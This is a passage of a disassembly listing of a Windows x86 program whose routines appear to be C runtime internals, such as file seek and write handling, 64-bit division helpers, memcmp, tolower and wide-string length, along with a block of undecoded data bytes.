sub_419D80 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
loc_419F77: ; CODE XREF: ___:00419F9Fj
cmp dword ptr [ebp+8], 0
jnz short loc_419F9B
push offset dword_4334A4
push 0
push 65h
push offset dword_433CD8
push 2
call sub_41AB10
add esp, 14h
cmp eax, 1
jnz short loc_419F9B
int 3 ; Trap to Debugger
loc_419F9B: ; CODE XREF: ___:00419F7Bj
; ___:00419F98j
xor eax, eax
test eax, eax
jnz short loc_419F77
mov ecx, [ebp+8]
push ecx
call sub_418E90
add esp, 4
mov edx, [ebp+10h]
push edx
mov eax, [ebp+0Ch]
push eax
mov ecx, [ebp+8]
push ecx
call sub_419FE0
add esp, 0Ch
mov [ebp-4], eax
mov edx, [ebp+8]
push edx
call sub_418F00
add esp, 4
mov eax, [ebp-4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419FE0 proc near ; CODE XREF: ___:00419FB9p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
loc_419FE7: ; CODE XREF: sub_419FE0+32j
cmp [ebp+arg_0], 0
jnz short loc_41A00E
push offset dword_4334B4
push 0
push 92h
push offset dword_433CD8
push 2
call sub_41AB10
add esp, 14h
cmp eax, 1
jnz short loc_41A00E
int 3 ; Trap to Debugger
loc_41A00E: ; CODE XREF: sub_419FE0+Bj
; sub_419FE0+2Bj
xor eax, eax
test eax, eax
jnz short loc_419FE7
mov ecx, [ebp+arg_0]
mov [ebp+var_4], ecx
mov edx, [ebp+var_4]
mov eax, [edx+0Ch]
and eax, 83h
test eax, eax
jz short loc_41A03B
cmp [ebp+arg_8], 0
jz short loc_41A04E
cmp [ebp+arg_8], 1
jz short loc_41A04E
cmp [ebp+arg_8], 2
jz short loc_41A04E
loc_41A03B: ; CODE XREF: sub_419FE0+47j
call sub_420520
mov dword ptr [eax], 16h
or eax, 0FFFFFFFFh
jmp loc_41A100
; ---------------------------------------------------------------------------
loc_41A04E: ; CODE XREF: sub_419FE0+4Dj
; sub_419FE0+53j ...
mov ecx, [ebp+var_4]
mov edx, [ecx+0Ch]
and edx, 0FFFFFFEFh
mov eax, [ebp+var_4]
mov [eax+0Ch], edx
cmp [ebp+arg_8], 1
jnz short loc_41A07E
mov ecx, [ebp+var_4]
push ecx
call sub_4255E0
add esp, 4
mov edx, [ebp+arg_4]
add edx, eax
mov [ebp+arg_4], edx
mov [ebp+arg_8], 0
loc_41A07E: ; CODE XREF: sub_419FE0+81j
mov eax, [ebp+var_4]
push eax
call sub_41B420
add esp, 4
mov ecx, [ebp+var_4]
mov edx, [ecx+0Ch]
and edx, 80h
test edx, edx
jz short loc_41A0AB
mov eax, [ebp+var_4]
mov ecx, [eax+0Ch]
and ecx, 0FFFFFFFCh
mov edx, [ebp+var_4]
mov [edx+0Ch], ecx
jmp short loc_41A0DF
; ---------------------------------------------------------------------------
loc_41A0AB: ; CODE XREF: sub_419FE0+B8j
mov eax, [ebp+var_4]
mov ecx, [eax+0Ch]
and ecx, 1
test ecx, ecx
jz short loc_41A0DF
mov edx, [ebp+var_4]
mov eax, [edx+0Ch]
and eax, 8
test eax, eax
jz short loc_41A0DF
mov ecx, [ebp+var_4]
mov edx, [ecx+0Ch]
and edx, 400h
test edx, edx
jnz short loc_41A0DF
mov eax, [ebp+var_4]
mov dword ptr [eax+18h], 200h
loc_41A0DF: ; CODE XREF: sub_419FE0+C9j
; sub_419FE0+D6j ...
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+var_4]
mov ecx, [eax+10h]
push ecx
call sub_425420
add esp, 0Ch
sub eax, 0FFFFFFFFh
neg eax
sbb eax, eax
neg eax
dec eax
loc_41A100: ; CODE XREF: sub_419FE0+69j
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_419FE0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A110 proc near ; CODE XREF: ___:00410F49p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_C]
push eax
call sub_418E90
add esp, 4
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_41A150
add esp, 10h
mov [ebp+var_4], eax
mov edx, [ebp+arg_C]
push edx
call sub_418F00
add esp, 4
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_41A110 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A150 proc near ; CODE XREF: sub_41A110+20p
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 28h
mov eax, [ebp+arg_0]
mov [ebp+var_8], eax
mov ecx, [ebp+arg_4]
imul ecx, [ebp+arg_8]
mov [ebp+var_10], ecx
mov edx, [ebp+var_10]
mov [ebp+var_C], edx
cmp [ebp+var_C], 0
jnz short loc_41A179
xor eax, eax
jmp loc_41A365
; ---------------------------------------------------------------------------
loc_41A179: ; CODE XREF: sub_41A150+20j
mov eax, [ebp+arg_C]
mov ecx, [eax+0Ch]
and ecx, 10Ch
test ecx, ecx
jz short loc_41A194
mov edx, [ebp+arg_C]
mov eax, [edx+18h]
mov [ebp+var_1C], eax
jmp short loc_41A19B
; ---------------------------------------------------------------------------
loc_41A194: ; CODE XREF: sub_41A150+37j
mov [ebp+var_1C], 1000h
loc_41A19B: ; CODE XREF: sub_41A150+42j
; sub_41A150:loc_41A35Dj
cmp [ebp+var_C], 0
jz loc_41A362
mov ecx, [ebp+arg_C]
mov edx, [ecx+0Ch]
and edx, 108h
test edx, edx
jz short loc_41A229
mov eax, [ebp+arg_C]
cmp dword ptr [eax+4], 0
jz short loc_41A229
mov ecx, [ebp+arg_C]
mov edx, [ebp+var_C]
cmp edx, [ecx+4]
jnb short loc_41A1D1
mov eax, [ebp+var_C]
mov [ebp+var_20], eax
jmp short loc_41A1DA
; ---------------------------------------------------------------------------
loc_41A1D1: ; CODE XREF: sub_41A150+77j
mov ecx, [ebp+arg_C]
mov edx, [ecx+4]
mov [ebp+var_20], edx
loc_41A1DA: ; CODE XREF: sub_41A150+7Fj
mov eax, [ebp+var_20]
mov [ebp+var_18], eax
mov ecx, [ebp+var_18]
push ecx
mov edx, [ebp+var_8]
push edx
mov eax, [ebp+arg_C]
mov ecx, [eax]
push ecx
call sub_4187B0
add esp, 0Ch
mov edx, [ebp+var_C]
sub edx, [ebp+var_18]
mov [ebp+var_C], edx
mov eax, [ebp+arg_C]
mov ecx, [eax+4]
sub ecx, [ebp+var_18]
mov edx, [ebp+arg_C]
mov [edx+4], ecx
mov eax, [ebp+arg_C]
mov ecx, [eax]
add ecx, [ebp+var_18]
mov edx, [ebp+arg_C]
mov [edx], ecx
mov eax, [ebp+var_8]
add eax, [ebp+var_18]
mov [ebp+var_8], eax
jmp loc_41A35D
; ---------------------------------------------------------------------------
loc_41A229: ; CODE XREF: sub_41A150+63j
; sub_41A150+6Cj
mov ecx, [ebp+var_C]
cmp ecx, [ebp+var_1C]
jb loc_41A2FF
mov edx, [ebp+arg_C]
mov eax, [edx+0Ch]
and eax, 108h
test eax, eax
jz short loc_41A264
mov ecx, [ebp+arg_C]
push ecx
call sub_41B420
add esp, 4
test eax, eax
jz short loc_41A264
mov eax, [ebp+var_10]
sub eax, [ebp+var_C]
xor edx, edx
div [ebp+arg_4]
jmp loc_41A365
; ---------------------------------------------------------------------------
loc_41A264: ; CODE XREF: sub_41A150+F2j
; sub_41A150+102j
cmp [ebp+var_1C], 0
jz short loc_41A27C
mov eax, [ebp+var_C]
xor edx, edx
div [ebp+var_1C]
mov eax, [ebp+var_C]
sub eax, edx
mov [ebp+var_24], eax
jmp short loc_41A282
; ---------------------------------------------------------------------------
loc_41A27C: ; CODE XREF: sub_41A150+118j
mov ecx, [ebp+var_C]
mov [ebp+var_24], ecx
loc_41A282: ; CODE XREF: sub_41A150+12Aj
mov edx, [ebp+var_24]
mov [ebp+var_18], edx
mov eax, [ebp+var_18]
push eax
mov ecx, [ebp+var_8]
push ecx
mov edx, [ebp+arg_C]
mov eax, [edx+10h]
push eax
call sub_425880
add esp, 0Ch
mov [ebp+var_14], eax
cmp [ebp+var_14], 0FFFFFFFFh
jnz short loc_41A2C7
mov ecx, [ebp+arg_C]
mov edx, [ecx+0Ch]
or edx, 20h
mov eax, [ebp+arg_C]
mov [eax+0Ch], edx
mov eax, [ebp+var_10]
sub eax, [ebp+var_C]
xor edx, edx
div [ebp+arg_4]
jmp loc_41A365
; ---------------------------------------------------------------------------
loc_41A2C7: ; CODE XREF: sub_41A150+156j
mov ecx, [ebp+var_C]
sub ecx, [ebp+var_14]
mov [ebp+var_C], ecx
mov edx, [ebp+var_8]
add edx, [ebp+var_14]
mov [ebp+var_8], edx
mov eax, [ebp+var_14]
cmp eax, [ebp+var_18]
jnb short loc_41A2FD
mov ecx, [ebp+arg_C]
mov edx, [ecx+0Ch]
or edx, 20h
mov eax, [ebp+arg_C]
mov [eax+0Ch], edx
mov eax, [ebp+var_10]
sub eax, [ebp+var_C]
xor edx, edx
div [ebp+arg_4]
jmp short loc_41A365
; ---------------------------------------------------------------------------
loc_41A2FD: ; CODE XREF: sub_41A150+18Fj
jmp short loc_41A35D
; ---------------------------------------------------------------------------
loc_41A2FF: ; CODE XREF: sub_41A150+DFj
mov ecx, [ebp+var_8]
movsx edx, byte ptr [ecx]
mov [ebp+var_4], edx
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+var_4]
push ecx
call sub_41E730
add esp, 8
cmp eax, 0FFFFFFFFh
jnz short loc_41A32A
mov eax, [ebp+var_10]
sub eax, [ebp+var_C]
xor edx, edx
div [ebp+arg_4]
jmp short loc_41A365
; ---------------------------------------------------------------------------
loc_41A32A: ; CODE XREF: sub_41A150+1CBj
mov edx, [ebp+var_8]
add edx, 1
mov [ebp+var_8], edx
mov eax, [ebp+var_C]
sub eax, 1
mov [ebp+var_C], eax
mov ecx, [ebp+arg_C]
cmp dword ptr [ecx+18h], 0
jle short loc_41A350
mov edx, [ebp+arg_C]
mov eax, [edx+18h]
mov [ebp+var_28], eax
jmp short loc_41A357
; ---------------------------------------------------------------------------
loc_41A350: ; CODE XREF: sub_41A150+1F3j
mov [ebp+var_28], 1
loc_41A357: ; CODE XREF: sub_41A150+1FEj
mov ecx, [ebp+var_28]
mov [ebp+var_1C], ecx
loc_41A35D: ; CODE XREF: sub_41A150+D4j
; sub_41A150:loc_41A2FDj
jmp loc_41A19B
; ---------------------------------------------------------------------------
loc_41A362: ; CODE XREF: sub_41A150+4Fj
mov eax, [ebp+arg_8]
loc_41A365: ; CODE XREF: sub_41A150+24j
; sub_41A150+10Fj ...
mov esp, ebp
pop ebp
retn
sub_41A150 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A370 proc near ; CODE XREF: sub_41156C+8p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
push eax
nop
call near ptr 26B0C38h
mov [ebp+var_4], eax
cmp [ebp+var_4], 0FFFFFFFFh
jnz short loc_41A39B
nop
call near ptr 26908EFh
push eax
call sub_420480
add esp, 4
or eax, 0FFFFFFFFh
jmp short loc_41A3CC
; ---------------------------------------------------------------------------
loc_41A39B: ; CODE XREF: sub_41A370+15j
mov ecx, [ebp+var_4]
and ecx, 1
test ecx, ecx
jz short loc_41A3CA
mov edx, [ebp+arg_4]
and edx, 2
test edx, edx
jz short loc_41A3CA
call sub_420520
mov dword ptr [eax], 0Dh
call sub_420530
mov dword ptr [eax], 5
or eax, 0FFFFFFFFh
jmp short loc_41A3CC
; ---------------------------------------------------------------------------
loc_41A3CA: ; CODE XREF: sub_41A370+33j
; sub_41A370+3Dj
xor eax, eax
loc_41A3CC: ; CODE XREF: sub_41A370+29j
; sub_41A370+58j
mov esp, ebp
pop ebp
retn
sub_41A370 endp
; =============== S U B R O U T I N E =======================================
sub_41A3D0 proc near ; CODE XREF: sub_411586+3Fp
; sub_41406D+2Ap ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
push esi
mov eax, [esp+8+arg_C]
or eax, eax
jnz short loc_41A3F2
mov ecx, [esp+8+arg_8]
mov eax, [esp+8+arg_4]
xor edx, edx
div ecx
mov ebx, eax
mov eax, [esp+8+arg_0]
div ecx
mov edx, ebx
jmp short loc_41A433
; ---------------------------------------------------------------------------
loc_41A3F2: ; CODE XREF: sub_41A3D0+8j
mov ecx, eax
mov ebx, [esp+8+arg_8]
mov edx, [esp+8+arg_4]
mov eax, [esp+8+arg_0]
loc_41A400: ; CODE XREF: sub_41A3D0+3Aj
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_41A400
div ebx
mov esi, eax
mul [esp+8+arg_C]
mov ecx, eax
mov eax, [esp+8+arg_8]
mul esi
add edx, ecx
jb short loc_41A42E
cmp edx, [esp+8+arg_4]
ja short loc_41A42E
jb short loc_41A42F
cmp eax, [esp+8+arg_0]
jbe short loc_41A42F
loc_41A42E: ; CODE XREF: sub_41A3D0+4Ej
; sub_41A3D0+54j
dec esi
loc_41A42F: ; CODE XREF: sub_41A3D0+56j
; sub_41A3D0+5Cj
xor edx, edx
mov eax, esi
loc_41A433: ; CODE XREF: sub_41A3D0+20j
pop esi
pop ebx
retn 10h
sub_41A3D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41A440 proc near ; CODE XREF: sub_411586+2Dp
; sub_41406D+43p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
mov eax, [esp+4+arg_C]
or eax, eax
jnz short loc_41A461
mov ecx, [esp+4+arg_8]
mov eax, [esp+4+arg_4]
xor edx, edx
div ecx
mov eax, [esp+4+arg_0]
div ecx
mov eax, edx
xor edx, edx
jmp short loc_41A4B1
; ---------------------------------------------------------------------------
loc_41A461: ; CODE XREF: sub_41A440+7j
mov ecx, eax
mov ebx, [esp+4+arg_8]
mov edx, [esp+4+arg_4]
mov eax, [esp+4+arg_0]
loc_41A46F: ; CODE XREF: sub_41A440+39j
shr ecx, 1
rcr ebx, 1
shr edx, 1
rcr eax, 1
or ecx, ecx
jnz short loc_41A46F
div ebx
mov ecx, eax
mul [esp+4+arg_C]
xchg eax, ecx
mul [esp+4+arg_8]
add edx, ecx
jb short loc_41A49A
cmp edx, [esp+4+arg_4]
ja short loc_41A49A
jb short loc_41A4A2
cmp eax, [esp+4+arg_0]
jbe short loc_41A4A2
loc_41A49A: ; CODE XREF: sub_41A440+4Aj
; sub_41A440+50j
sub eax, [esp+4+arg_8]
sbb edx, [esp+4+arg_C]
loc_41A4A2: ; CODE XREF: sub_41A440+52j
; sub_41A440+58j
sub eax, [esp+4+arg_0]
sbb edx, [esp+4+arg_4]
neg edx
neg eax
sbb edx, 0
loc_41A4B1: ; CODE XREF: sub_41A440+1Fj
pop ebx
retn 10h
sub_41A440 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41A4C0 proc near ; CODE XREF: sub_411696+5Ep
; sub_411696+8Ep ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push edi
push esi
push ebx
xor edi, edi
mov eax, [esp+0Ch+arg_4]
or eax, eax
jge short loc_41A4E1
inc edi
mov edx, [esp+0Ch+arg_0]
neg eax
neg edx
sbb eax, 0
mov [esp+0Ch+arg_4], eax
mov [esp+0Ch+arg_0], edx
loc_41A4E1: ; CODE XREF: sub_41A4C0+Bj
mov eax, [esp+0Ch+arg_C]
or eax, eax
jge short loc_41A4FD
inc edi
mov edx, [esp+0Ch+arg_8]
neg eax
neg edx
sbb eax, 0
mov [esp+0Ch+arg_C], eax
mov [esp+0Ch+arg_8], edx
loc_41A4FD: ; CODE XREF: sub_41A4C0+27j
or eax, eax
jnz short loc_41A519
mov ecx, [esp+0Ch+arg_8]
mov eax, [esp+0Ch+arg_4]
xor edx, edx
div ecx
mov ebx, eax
mov eax, [esp+0Ch+arg_0]
div ecx
mov edx, ebx
jmp short loc_41A55A
; ---------------------------------------------------------------------------
loc_41A519: ; CODE XREF: sub_41A4C0+3Fj
mov ebx, eax
mov ecx, [esp+0Ch+arg_8]
mov edx, [esp+0Ch+arg_4]
mov eax, [esp+0Ch+arg_0]
loc_41A527: ; CODE XREF: sub_41A4C0+71j
shr ebx, 1
rcr ecx, 1
shr edx, 1
rcr eax, 1
or ebx, ebx
jnz short loc_41A527
div ecx
mov esi, eax
mul [esp+0Ch+arg_C]
mov ecx, eax
mov eax, [esp+0Ch+arg_8]
mul esi
add edx, ecx
jb short loc_41A555
cmp edx, [esp+0Ch+arg_4]
ja short loc_41A555
jb short loc_41A556
cmp eax, [esp+0Ch+arg_0]
jbe short loc_41A556
loc_41A555: ; CODE XREF: sub_41A4C0+85j
; sub_41A4C0+8Bj
dec esi
loc_41A556: ; CODE XREF: sub_41A4C0+8Dj
; sub_41A4C0+93j
xor edx, edx
mov eax, esi
loc_41A55A: ; CODE XREF: sub_41A4C0+57j
dec edi
jnz short loc_41A564
neg edx
neg eax
sbb edx, 0
loc_41A564: ; CODE XREF: sub_41A4C0+9Bj
pop ebx
pop esi
pop edi
retn 10h
sub_41A4C0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41A570 proc near ; CODE XREF: sub_411911+1Dp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_8]
test eax, eax
jz short locret_41A5BC
mov edx, [esp+arg_0]
push esi
push edi
mov esi, edx
mov edi, [esp+8+arg_4]
or edx, edi
and edx, 3
jz short loc_41A5BD
test eax, 1
jz short loc_41A59D
mov cl, [esi]
cmp cl, [edi]
jnz short loc_41A5EA
inc esi
inc edi
dec eax
jz short loc_41A5BA
loc_41A59D: ; CODE XREF: sub_41A570+20j
; sub_41A570+48j
mov cl, [esi]
mov dl, [edi]
cmp cl, dl
jnz short loc_41A5EA
mov cl, [esi+1]
mov dl, [edi+1]
cmp cl, dl
jnz short loc_41A5EA
add edi, 2
add esi, 2
sub eax, 2
jnz short loc_41A59D
loc_41A5BA: ; CODE XREF: sub_41A570+2Bj
; sub_41A570+84j
pop edi
pop esi
locret_41A5BC: ; CODE XREF: sub_41A570+6j
retn
; ---------------------------------------------------------------------------
loc_41A5BD: ; CODE XREF: sub_41A570+19j
mov ecx, eax
and eax, 3
shr ecx, 2
jz short loc_41A5F2
repe cmpsd
jz short loc_41A5F2
mov ecx, [esi-4]
mov edx, [edi-4]
cmp cl, dl
jnz short loc_41A5E5
cmp ch, dh
jnz short loc_41A5E5
shr ecx, 10h
shr edx, 10h
cmp cl, dl
jnz short loc_41A5E5
cmp ch, dh
loc_41A5E5: ; CODE XREF: sub_41A570+63j
; sub_41A570+67j ...
mov eax, 0
loc_41A5EA: ; CODE XREF: sub_41A570+26j
; sub_41A570+33j ...
sbb eax, eax
pop edi
sbb eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_41A5F2: ; CODE XREF: sub_41A570+55j
; sub_41A570+59j
test eax, eax
jz short loc_41A5BA
mov edx, [esi]
mov ecx, [edi]
cmp dl, cl
jnz short loc_41A5E5
dec eax
jz short loc_41A619
cmp dh, ch
jnz short loc_41A5E5
dec eax
jz short loc_41A619
and ecx, 0FF0000h
and edx, 0FF0000h
cmp edx, ecx
jnz short loc_41A5E5
dec eax
loc_41A619: ; CODE XREF: sub_41A570+8Fj
; sub_41A570+96j
pop edi
pop esi
retn
sub_41A570 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
mov eax, [ebp+8]
add eax, 20h
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A630 proc near ; CODE XREF: sub_411C31+6p
; sub_411C4F+4Ap ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp dword_4DB1B8, 0
jnz short loc_41A657
cmp [ebp+arg_0], 41h
jl short loc_41A652
cmp [ebp+arg_0], 5Ah
jg short loc_41A652
mov eax, [ebp+arg_0]
add eax, 20h
mov [ebp+arg_0], eax
loc_41A652: ; CODE XREF: sub_41A630+11j
; sub_41A630+17j
mov eax, [ebp+arg_0]
jmp short loc_41A6BF
; ---------------------------------------------------------------------------
loc_41A657: ; CODE XREF: sub_41A630+Bj
push offset dword_4DB45C
nop
call near ptr 2840CCAh
cmp dword_4DB458, 0
jz short loc_41A689
push offset dword_4DB45C
nop
call near ptr 2840C7Bh
push 13h
call sub_41B780
add esp, 4
mov [ebp+var_4], 1
jmp short loc_41A690
; ---------------------------------------------------------------------------
loc_41A689: ; CODE XREF: sub_41A630+39j
mov [ebp+var_4], 0
loc_41A690: ; CODE XREF: sub_41A630+57j
mov ecx, [ebp+arg_0]
push ecx
call sub_41A6D0
add esp, 4
mov [ebp+arg_0], eax
cmp [ebp+var_4], 0
jz short loc_41A6B1
push 13h
call sub_41B820
add esp, 4
jmp short loc_41A6BC
; ---------------------------------------------------------------------------
loc_41A6B1: ; CODE XREF: sub_41A630+73j
push offset dword_4DB45C
call near ptr 2840C7Bh
nop
loc_41A6BC: ; CODE XREF: sub_41A630+7Fj
mov eax, [ebp+arg_0]
loc_41A6BF: ; CODE XREF: sub_41A630+25j
mov esp, ebp
pop ebp
retn
sub_41A630 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A6D0 proc near ; CODE XREF: sub_41A630+64p
; sub_42FE70+94p ...
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_7 = byte ptr -7
var_6 = byte ptr -6
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
cmp dword_4DB1B8, 0
jnz short loc_41A6FC
cmp [ebp+arg_0], 41h
jl short loc_41A6F4
cmp [ebp+arg_0], 5Ah
jg short loc_41A6F4
mov eax, [ebp+arg_0]
add eax, 20h
mov [ebp+arg_0], eax
loc_41A6F4: ; CODE XREF: sub_41A6D0+13j
; sub_41A6D0+19j
mov eax, [ebp+arg_0]
jmp loc_41A7F7
; ---------------------------------------------------------------------------
loc_41A6FC: ; CODE XREF: sub_41A6D0+Dj
cmp [ebp+arg_0], 100h
jge short loc_41A743
cmp dword_443B70, 1
jle short loc_41A721
push 1
mov ecx, [ebp+arg_0]
push ecx
call sub_41DA90
add esp, 8
mov [ebp+var_10], eax
jmp short loc_41A735
; ---------------------------------------------------------------------------
loc_41A721: ; CODE XREF: sub_41A6D0+3Cj
mov edx, [ebp+arg_0]
mov eax, off_443C7C
xor ecx, ecx
mov cx, [eax+edx*2]
and ecx, 1
mov [ebp+var_10], ecx
loc_41A735: ; CODE XREF: sub_41A6D0+4Fj
cmp [ebp+var_10], 0
jnz short loc_41A743
mov eax, [ebp+arg_0]
jmp loc_41A7F7
; ---------------------------------------------------------------------------
loc_41A743: ; CODE XREF: sub_41A6D0+33j
; sub_41A6D0+69j
mov edx, [ebp+arg_0]
sar edx, 8
and edx, 0FFh
and edx, 0FFh
mov eax, off_443C7C
xor ecx, ecx
mov cx, [eax+edx*2]
and ecx, 8000h
test ecx, ecx
jz short loc_41A78C
mov edx, [ebp+arg_0]
sar edx, 8
and edx, 0FFh
mov [ebp+var_8], dl
mov al, byte ptr [ebp+arg_0]
mov [ebp+var_7], al
mov [ebp+var_6], 0
mov [ebp+var_4], 2
jmp short loc_41A79D
; ---------------------------------------------------------------------------
loc_41A78C: ; CODE XREF: sub_41A6D0+98j
mov cl, byte ptr [ebp+arg_0]
mov [ebp+var_8], cl
mov [ebp+var_7], 0
mov [ebp+var_4], 1
loc_41A79D: ; CODE XREF: sub_41A6D0+BAj
push 1
push 0
push 3
lea edx, [ebp+var_C]
push edx
mov eax, [ebp+var_4]
push eax
lea ecx, [ebp+var_8]
push ecx
push 100h
mov edx, dword_4DB1B8
push edx
call sub_425B90
add esp, 20h
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_41A7D1
mov eax, [ebp+arg_0]
jmp short loc_41A7F7
; ---------------------------------------------------------------------------
loc_41A7D1: ; CODE XREF: sub_41A6D0+FAj
cmp [ebp+var_4], 1
jnz short loc_41A7E1
mov eax, [ebp+var_C]
and eax, 0FFh
jmp short loc_41A7F7
; ---------------------------------------------------------------------------
loc_41A7E1: ; CODE XREF: sub_41A6D0+105j
mov eax, [ebp+var_C]
and eax, 0FFh
mov ecx, [ebp+var_C+1]
and ecx, 0FFh
shl ecx, 8
or eax, ecx
loc_41A7F7: ; CODE XREF: sub_41A6D0+27j
; sub_41A6D0+6Ej ...
mov esp, ebp
pop ebp
retn
sub_41A6D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A800 proc near ; CODE XREF: ___:004123CBp
; sub_4132FD+55p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
loc_41A80A: ; CODE XREF: sub_41A800+1Fj
mov ecx, [ebp+var_4]
xor edx, edx
mov dx, [ecx]
mov eax, [ebp+var_4]
add eax, 2
mov [ebp+var_4], eax
test edx, edx
jz short loc_41A821
jmp short loc_41A80A
; ---------------------------------------------------------------------------
loc_41A821: ; CODE XREF: sub_41A800+1Dj
mov eax, [ebp+var_4]
sub eax, [ebp+arg_0]
sar eax, 1
sub eax, 1
mov esp, ebp
pop ebp
retn
sub_41A800 endp
; ---------------------------------------------------------------------------
dd 0F9E4BDDBh, 0BC9CEE46h, 5662A25Eh, 0FCCA38BBh, 0ED296DD7h
dd 3DBD6AECh, 917793D4h, 4055B70Fh, 821B3A29h, 2EB42709h
dd 213D3854h, 4DB0B0A3h, 0B0B0A100h, 0E8C1004Dh, 0FF2508h
dd 0BCA30000h, 8B004DB0h, 4DB0B00Dh, 0FFE18100h, 89000000h
dd 4DB0B80Dh, 0B8158B00h, 0C1004DB0h, 150308E2h, 4DB0BCh
dd 0B0B41589h, 0B0A1004Dh, 0C1004DB0h, 0FF2510E8h, 0A30000FFh
dd 4DB0B0h, 4DE8016Ah, 83000014h, 0C08504C4h, 1C6A0A75h
dd 10FE8h, 4C48300h, 4FC7E8h, 75C08500h, 0E8106A0Ah, 0FCh
dd 0C704C483h, 0FC45h, 2DE80000h, 90000076h, 43733AE8h
dd 0B7A8A302h, 3DE8004Dh, 0A30000BFh, 4DB11Ch, 0BA23E8h
dd 0B8CEE800h, 0F9E80000h, 0C7FFFFCFh, 0D045h, 4D8D0000h
dd 0E9E851A4h, 90024356h, 0B7F3E8h, 9C458900h, 83D0558Bh
dd 0D28501E2h, 458B0D74h, 0FFFF25D4h, 45890000h, 0C707EB94h
dd 0A9445h, 4D8B0000h, 558B5194h, 6A529Ch, 48E8006Ah, 9002285Eh
dd 7E3CE850h, 4589FFFEh, 0A0458BA0h, 0CFDEE850h, 4D8BFFFFh
dd 8B118BECh, 98458902h, 51EC4D8Bh, 5298558Bh, 0B577E8h
dd 8C48300h, 0E8658BC3h, 5098458Bh, 0FFCFD7E8h, 0F04D8BFFh
dd 0D8964h, 5F000000h, 0E58B5B5Eh, 0CCCCC35Dh, 0CCCCCCCCh
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A9A0 proc near ; CODE XREF: sub_418D40+8Dp
; sub_419CB0+2Cp ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
cmp dword_4DB124, 1
jnz short loc_41A9B1
call sub_426B30
loc_41A9B1: ; CODE XREF: sub_41A9A0+Aj
mov eax, [ebp+arg_0]
push eax
call sub_426B80
add esp, 4
push 0FFh
call off_443B80
add esp, 4
pop ebp
retn
sub_41A9A0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
cmp dword_4DB124, 1
jnz short loc_41A9E1
call sub_426B30
loc_41A9E1: ; CODE XREF: ___:0041A9DAj
mov eax, [ebp+8]
push eax
call sub_426B80
add esp, 4
push 0FFh
nop
call near ptr 77E75CB5h
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41AA00 proc near ; CODE XREF: sub_41AB10+113p
; sub_41AEA0+33p
push ebp
mov ebp, esp
nop
call near ptr 77EB36A5h
pop ebp
retn
sub_41AA00 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
